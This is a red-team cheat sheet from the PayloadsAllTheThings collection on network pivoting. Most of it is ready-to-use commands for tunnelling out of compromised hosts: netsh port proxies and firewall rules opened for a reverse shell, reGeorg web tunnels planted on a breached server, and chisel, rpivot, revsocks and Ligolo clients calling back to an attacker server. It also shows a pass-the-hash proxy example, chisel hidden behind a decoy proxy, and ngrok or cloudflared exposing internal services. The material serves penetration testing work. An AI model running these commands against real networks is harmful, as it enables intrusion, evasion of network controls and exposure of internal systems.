PayloadsAllTheThings/Methodology and Resources/Network Pivoting Techniques.md

# Network Pivoting Techniques

## Summary

* [SOCKS Compatibility Table](#socks-compatibility-table)
* [Windows netsh Port Forwarding](#windows-netsh-port-forwarding)
* [SSH](#ssh)
  * [SOCKS Proxy](#socks-proxy)
  * [Local Port Forwarding](#local-port-forwarding)
  * [Remote Port Forwarding](#remote-port-forwarding)
* [Proxychains](#proxychains)
* [Graftcp](#graftcp)
* [Web SOCKS - reGeorg](#web-socks---regeorg)
* [Web SOCKS - pivotnacci](#web-socks---pivotnacci)
* [Metasploit](#metasploit)
* [sshuttle](#sshuttle)
* [chisel](#chisel)
  * [SharpChisel](#sharpchisel)
* [gost](#gost)
* [Rpivot](#rpivot)
* [RevSocks](#revsocks)
* [plink](#plink)
* [ngrok](#ngrok)
* [Capture a network trace with builtin tools](#capture-a-network-trace-with-builtin-tools)
* [Basic Pivoting Types](#basic-pivoting-types)
  * [Listen - Listen](#listen---listen)
  * [Listen - Connect](#listen---connect)
  * [Connect - Connect](#connect---connect)
* [References](#references)


## SOCKS Compatibility Table

| SOCKS Version | TCP   | UDP   | IPv4  | IPv6  | Hostname |
| ------------- | :---: | :---: | :---: | :---: | :---:    |
| SOCKS v4      | ✅    | ❌    | ✅    | ❌    | ❌       |
| SOCKS v4a     | ✅    | ❌    | ✅    | ❌    | ✅       |
| SOCKS v5      | ✅    | ✅    | ✅    | ✅    | ✅       |


## Windows netsh Port Forwarding

```powershell
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110

# Forward the port 4545 for the reverse shell, and the 80 for the http server for example
netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80
# Correctly open the port on the machine
netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545

```

1. listenaddress – is a local IP address waiting for a connection.
2. listenport – local listening TCP port (the connection is waited on it).
3. connectaddress – is a local or remote IP address (or DNS name) to which the incoming connection will be redirected.
4. connectport – is a TCP port to which the connection from listenport is forwarded to.

## SSH

### SOCKS Proxy

```bash
ssh -D8080 [user]@[host]

ssh -N -f -D 9000 [user]@[host]
-f : ssh in background
-N : do not execute a remote command
```

Cool Tip : Konami SSH Port forwarding

```bash
[ENTER] + [~C]
-D 1090
```

### Local Port Forwarding

```bash
ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]
```

### Remote Port Forwarding

```bash
ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]
ssh -R 3389:10.1.1.224:3389 root@10.11.0.32
```

## Proxychains

**Config file**: /etc/proxychains.conf

```bash
[ProxyList]
socks4 localhost 8080
```

Set the SOCKS4 proxy then `proxychains nmap -sT 192.168.5.6`

## Graftcp

> A flexible tool for redirecting a given program's TCP traffic to SOCKS5 or HTTP proxy.

:warning: Same as proxychains, with another mechanism to "proxify" which allow Go applications.

```ps1
# https://github.com/hmgle/graftcp

# Create a SOCKS5, using Chisel or another tool and forward it through SSH
(attacker) $ ssh -fNT -i /tmp/id_rsa -L 1080:127.0.0.1:1080 root@IP_VPS
(vps) $ ./chisel server --tls-key ./key.pem --tls-cert ./cert.pem -p 8443 -reverse 
(victim 1) $ ./chisel client --tls-skip-verify https://IP_VPS:8443 R:socks 

# Run graftcp and specify the SOCKS5
(attacker) $ graftcp-local -listen :2233 -logfile /tmp/toto -loglevel 6 -socks5 127.0.0.1:1080
(attacker) $ graftcp ./nuclei -u http://172.16.1.24
```

Simple configuration file for graftcp

```py
# https://github.com/hmgle/graftcp/blob/master/local/example-graftcp-local.conf
## Listen address (default ":2233")
listen = :2233
loglevel = 1

## SOCKS5 address (default "127.0.0.1:1080")
socks5 = 127.0.0.1:1080
# socks5_username = SOCKS5USERNAME
# socks5_password = SOCKS5PASSWORD

## Set the mode for select a proxy (default "auto")
select_proxy_mode = auto
```


## Web SOCKS - reGeorg

[reGeorg](https://github.com/sensepost/reGeorg), the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.

Drop one of the following files on the server:

- tunnel.ashx
- tunnel.aspx
- tunnel.js
- tunnel.jsp
- tunnel.nosocket.php
- tunnel.php
- tunnel.tomcat.5.jsp

```python
python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp # the socks proxy will be on port 8080

optional arguments:
  -h, --help           show this help message and exit
  -l , --listen-on     The default listening address
  -p , --listen-port   The default listening port
  -r , --read-buff     Local read buffer, max data to be sent per POST
  -u , --url           The url containing the tunnel script
  -v , --verbose       Verbose output[INFO|DEBUG]
```

## Web SOCKS - pivotnacci

[pivotnacci](https://github.com/blackarrowsec/pivotnacci), a tool to make socks connections through HTTP agents.

```powershell
pip3 install pivotnacci
pivotnacci  https://domain.com/agent.php --password "s3cr3t"
pivotnacci  https://domain.com/agent.php --polling-interval 2000
```


## Metasploit

```powershell
# Meterpreter list active port forwards
portfwd list 

# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd add –l 3389 –p 3389 –r target-host 
portfwd add -l 88 -p 88 -r 127.0.0.1
portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445

# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd delete –l 3389 –p 3389 –r target-host 
# Meterpreter delete all port forwards
portfwd flush 

or

# Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0
run autoroute -s 192.168.15.0/24 
use auxiliary/server/socks_proxy
set SRVPORT 9090
set VERSION 4a
# or
use auxiliary/server/socks4a     # (deprecated)


# Meterpreter list all active routes
run autoroute -p 

route #Meterpreter view available networks the compromised host can access
# Meterpreter add route for 192.168.14.0/24 via Session number.
route add 192.168.14.0 255.255.255.0 3 
# Meterpreter delete route for 192.168.14.0/24 via Session number.
route delete 192.168.14.0 255.255.255.0 3 
# Meterpreter delete all routes
route flush 
```

## Empire

```powershell
(Empire) > socksproxyserver
(Empire) > use module management/invoke_socksproxy
(Empire) > set remoteHost 10.10.10.10
(Empire) > run
```

## sshuttle

Transparent proxy server that works as a poor man's VPN. Forwards over ssh. 

* Doesn't require admin. 
* Works with Linux and MacOS.
* Supports DNS tunneling.

```powershell
pacman -Sy sshuttle
apt-get install sshuttle
sshuttle -vvr user@10.10.10.10 10.1.1.0/24
sshuttle -vvr username@pivot_host 10.2.2.0/24 

# using a private key
$ sshuttle -vvr root@10.10.10.10 10.1.1.0/24 -e "ssh -i ~/.ssh/id_rsa" 

# -x == exclude some network to not transmit over the tunnel
# -x x.x.x.x.x/24
```

## chisel


```powershell
go get -v github.com/jpillora/chisel

# forward port 389 and 88 to hacker computer
user@hacker$ /opt/chisel/chisel server -p 8008 --reverse
user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389 

# SOCKS
user@victim$ .\chisel.exe client YOUR_IP:8008 R:socks
```

### SharpChisel

A C# Wrapper of Chisel : https://github.com/shantanu561993/SharpChisel

```powershell
user@hacker$ ./chisel server -p 8080 --key "private" --auth "user:pass" --reverse --proxy "https://www.google.com"
================================================================
server : run the Server Component of chisel 
-p 8080 : run server on port 8080
--key "private": use "private" string to seed the generation of a ECDSA public and private key pair
--auth "user:pass" : Creds required to connect to the server
--reverse:  Allow clients to specify reverse port forwarding remotes in addition to normal remotes.
--proxy https://www.google.com : Specifies another HTTP server to proxy requests to when chisel receives a normal HTTP request. Useful for hiding chisel in plain sight.

user@victim$ SharpChisel.exe client --auth user:pass https://redacted.cloudfront.net R:1080:socks
```

## Ligolo

Ligolo : Reverse Tunneling made easy for pentesters, by pentesters


1. Build Ligolo
  ```powershell
  # Get Ligolo and dependencies
  cd `go env GOPATH`/src
  git clone https://github.com/sysdream/ligolo
  cd ligolo
  make dep

  # Generate self-signed TLS certificates (will be placed in the certs folder)
  make certs TLS_HOST=example.com

  make build-all
  ```
2. Use Ligolo
  ```powershell
  # On your attack server.
  ./bin/localrelay_linux_amd64

  # On the compromise host.
  ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555
  ```

## Gost

> Wiki English : https://docs.ginuerzh.xyz/gost/en/

```powershell
git clone https://github.com/ginuerzh/gost
cd gost/cmd/gost
go build

# Socks5 Proxy
Server side: gost -L=socks5://:1080
Client side: gost -L=:8080 -F=socks5://server_ip:1080?notls=true

# Local Port Forward
gost -L=tcp://:2222/192.168.1.1:22 [-F=..]
```

## Rpivot

Server (Attacker box)

```python
python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0
```

Client (Compromised box)

```python
python client.py --server-ip <ip> --server-port 9443
```

Through corporate proxy

```python
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e
```

Passing the hash

```python
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe \
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE
```

## revsocks

```powershell
# Listen on the server and create a SOCKS 5 proxy on port 1080
user@VPS$ ./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass Password1234

# Connect client to the server
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 -proxy proxy.domain.local:3128 -proxyauth Domain/userpame:userpass -useragent "Mozilla 5.0/IE Windows 10"
```


```powershell
# Build for Linux
git clone https://github.com/kost/revsocks
export GOPATH=~/go
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
go build
go build -ldflags="-s -w" && upx --brute revsocks

# Build for Windows
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
go build -ldflags -H=windowsgui
upx revsocks
```


## plink

```powershell
# exposes the SMB port of the machine in the port 445 of the SSH Server
plink -l root -pw toor -R 445:127.0.0.1:445 
# exposes the RDP port of the machine in the port 3390 of the SSH Server
plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389  

plink -l root -pw mypassword 192.168.18.84 -R
plink.exe -v -pw mypassword user@10.10.10.10 -L 6666:127.0.0.1:445

plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP]
# redirects the Windows port 445 to Kali on port 22
plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185   
```

## ngrok

```powershell
# get the binary
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip 

# log into the service
./ngrok authtoken 3U[REDACTED_TOKEN]Hm

# deploy a port forwarding for 4433
./ngrok http 4433
./ngrok tcp 4433
```

## cloudflared

```bash
# Get the binary
wget https://bin.equinox.io/c/VdrWdbjqyF/cloudflared-stable-linux-amd64.tgz
tar xvzf cloudflared-stable-linux-amd64.tgz
# Expose accessible internal service to the internet
./cloudflared tunnel --url <protocol>://<host>:<port>
```

## Capture a network trace with builtin tools

* Windows (netsh)
  ```ps1
  # start a capture use the netsh command.
  netsh trace start capture=yes report=disabled tracefile=c:\trace.etl maxsize=16384

  # stop the trace
  netsh trace stop

  # Event tracing can be also used across a reboots
  netsh trace start capture=yes report=disabled persistent=yes tracefile=c:\trace.etl maxsize=16384

  # To open the file in Wireshark you have to convert the etl file to the cap file format. Microsoft has written a convert for this task. Download the latest version.
  etl2pcapng.exe c:\trace.etl c:\trace.pcapng

  # Use filters
  netsh trace start capture=yes report=disabled Ethernet.Type=IPv4 IPv4.Address=10.200.200.3 tracefile=c:\trace.etl maxsize=16384
  ```
* Linux (tcpdump)
  ```ps1
  sudo apt-get install tcpdump
  tcpdump -w 0001.pcap -i eth0
  tcpdump -A -i eth0

  # capture every TCP packet
  tcpdump -i eth0 tcp

  # capture everything on port 22
  tcpdump -i eth0 port 22
  ```

  
## Basic Pivoting Types

| Type              | Use Case                                    |
| :-------------    | :------------------------------------------ |
| Listen - Listen   | Exposed asset, may not want to connect out. |
| Listen - Connect  | Normal redirect.                            |
| Connect - Connect | Can’t bind, so connect to bridge two hosts  |

### Listen - Listen

| Type              | Use Case                                    |
| :-------------    | :------------------------------------------ |
| ncat              | `ncat -v -l -p 8080 -c "ncat -v -l -p 9090"`|
| socat             | `socat -v tcp-listen:8080 tcp-listen:9090`  |
| remote host 1     | `ncat localhost 8080 < file`                |
| remote host 2     | `ncat localhost 9090 > newfile`             |

### Listen - Connect

| Type              | Use Case                                                        |
| :-------------    | :------------------------------------------                     |
| ncat              | `ncat -l -v -p 8080 -c "ncat localhost 9090"`                   |
| socat             | `socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090` |
| remote host 1     | `ncat localhost -p 8080 < file`                                 |
| remote host 2     | `ncat -l -p 9090 > newfile`                                     |

### Connect - Connect

| Type              | Use Case                                                                   |
| :-------------    | :------------------------------------------                                |
| ncat              | `ncat localhost 8080 -c "ncat localhost 9090"`                             |
| socat             | `socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090` |
| remote host 1     | `ncat -l -p 8080 < file`                                                   |
| remote host 2     | `ncat -l -p 9090 > newfile`                                                |

## References

* [Port Forwarding in Windows - Windows OS Hub](http://woshub.com/port-forwarding-in-windows/)
* [Using the SSH "Konami Code" (SSH Control Sequences) - Jeff McJunkin](https://pen-testing.sans.org/blog/2015/11/10/protected-using-the-ssh-konami-code-ssh-control-sequences)
* [A Red Teamer's guide to pivoting- Mar 23, 2017 - Artem Kondratenko](https://artkond.com/2017/03/23/pivoting-guide/)
* [Pivoting Meterpreter](https://www.information-security.fr/pivoting-meterpreter/)
* 🇫🇷 [Etat de l’art du pivoting réseau en 2019 - Oct 28,2019 - Alexandre ZANNI](https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/) - 🇺🇸 [Overview of network pivoting and tunneling [2022 updated] - Alexandre ZANNI](https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019/)
* [Red Team: Using SharpChisel to exfil internal network - Shantanu Khandelwal - Jun 8](https://medium.com/@shantanukhande/red-team-using-sharpchisel-to-exfil-internal-network-e1b07ed9b49)
* [Active Directory - hideandsec](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory)
* [Windows: Capture a network trace with builtin tools (netsh) - February 22, 2021 Michael Albert](https://michlstechblog.info/blog/windows-capture-a-network-trace-with-builtin-tools-netsh/)